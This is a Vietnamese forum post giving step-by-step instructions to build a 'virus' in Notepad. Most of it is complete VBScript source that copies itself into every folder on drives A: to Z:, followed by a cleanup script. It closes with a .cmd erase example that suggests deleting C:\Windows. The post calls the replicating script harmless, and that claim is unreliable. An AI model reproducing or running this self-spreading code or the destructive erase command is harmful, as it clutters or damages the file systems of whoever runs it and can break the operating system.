[Thủ thuật] cách tạo virut rất đơn giản bằng notepad   [Lấy địa chỉ]

Không nên thử ở nhà đối với các bạn nào không rành về IT,script....
-Chương trình tự nhân bản tới tất cả các thư mục có trong máy tính
-Hoàn toàn vô hại.....chỉ nhân đôi mỗi folder thành 1 *** *.vbs.....càng click vào nhiều folder càng thấy nhiều về hắn

bắt đầu tạo virus nè:

B1: Mở Notepad
B2: Gõ đoạn code:
'Thuoc Doc !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders
For Each f1 In sf
Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
COP.write VBCopy
Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
CAP.write VBCopy
FolderList(f1.Path)
Next
End sub

B3: Lưu lại với cú pháp :Thuoc Doc.vbs
B4:open file Thuoc Doc.vbs
-Hiệu quả thấy ngay

còn đây là cách vô hiệu hoá virus

B1: Mở Notepad
B2: Gõ code:
'Thuoc Giai !!!
Dim fso,file,VBCopy
Set fso=CreateObject("Scripting.FileSystemObject")
Set file=fso.OpenTextFile(WScript.ScriptFullName,1)
VBCopy=file.ReadAll
FolderList("A:")
FolderList("B:")
FolderList("C:")
FolderList("D:")
FolderList("E:")
FolderList("F:")
FolderList("G:")
FolderList("H:")
FolderList("I:")
FolderList("J:")
FolderList("K:")
FolderList("L:")
FolderList("M:")
FolderList("N:")
FolderList("O:")
FolderList("P:")
FolderList("Q:")
FolderList("R:")
FolderList("S:")
FolderList("T:")
FolderList("U:")
FolderList("V:")
FolderList("X:")
FolderList("Y:")
FolderList("Z:")
FolderList("W:")

Sub FolderList(FolderSpec)
On Error Resume Next
Dim f,f1,sf,COP,CAP,ATT
Set f=fso.GetFolder(FolderSpec)
set sf=f.SubFolders For Each f1 In sf
'Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
'COP.write VBCopy
'Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
'CAP.write VBCopy
'Set ATT=fso.GetFolder(f1.Path)
'ATT.Attributes=ATT.Attributes+2
fso.DeleteFile(f1.path & "\Virus !!!!!!!.vbs")
fso.DeleteFile(f1.path & "---Virus !!!!!!!.vbs")
FolderList(f1.Path)
Next
End sub

-B3:Lưu lại với cú pháp: Thuoc Giai.vbs
-B4:Chạy file Thuoc Giai.vbs để vô hiêu hóa chương trình

Nếu bạn xài anti-virus mạnh như: BKAV Pro,Kaspersky,Bit defender,AVG......thì có thể sẽ bị chặn ngay từ thao tác đầu tiên bởi chương trình tác động khá nhiều đến registry nên anti-virus có thể hiểu nhầm là virus
*khuyến cáo: không nên thử ở nhà.....thực hiện không đúng....không đọc kỹ hướng dẫn......sẽ có khả năng dẫn đến tình trạng vào folder nào cũng thấy mặt nó hết.....bực là chính....tác hại thì không có....

thêm 1 kon nữa cho cả nhà:

lưu ý giùm tui loại này:

-không phải virus
-Chĩ là một mã lệnh đơn giản nhưng..........khả năng phá hoại tầm quốc tế.=))
-Có những files cứng đầu khó gỡ phải sử dụng các phần mềm gỡ bỏ như Blannco Shreader, Unlocker, Tuneup Unilities.....Nhưng với chỉ 1 thao tác lệnh bạn có thể xóa hết mà không cần dùng phần mềm hỗ trợ....

-B1: tạo 1 file bất kỳ(1.txt, 1.bat, 1.exe...v..v..)
Vd: C:\Users\chuong\Desktop\1.txt
-B2: vào notepad
-B3 :Đánh lệnh erase C:\Users\chuong\Desktop\1.txt
-B4: lưu dưới dạng *.cmd
-B5: Chạy file *.cmd

thế là file 1.txt đã bị xóa

các bạn hỏi nó phá hoại ở chỗ nào@_@
xin thưa rằng, files chạy dưới đuôi.cmd là thao tác thực hiện trên ms-dos vì vậy nó không kiêng nể ai hết...chỉ thực thi mệnh lệnh 1 cách hiệu quả thôi
-Bởi vậy....nếu bạn thay lệnh erase C:\Users\chuong\Desktop\1.txt -->>>>erase C:\Windows thì bạn nghĩ thế nào....có phải là đi tong cái win không........Bởi vậy đừng cố gắng làm điều gì ngu ngốc nhé!!!!!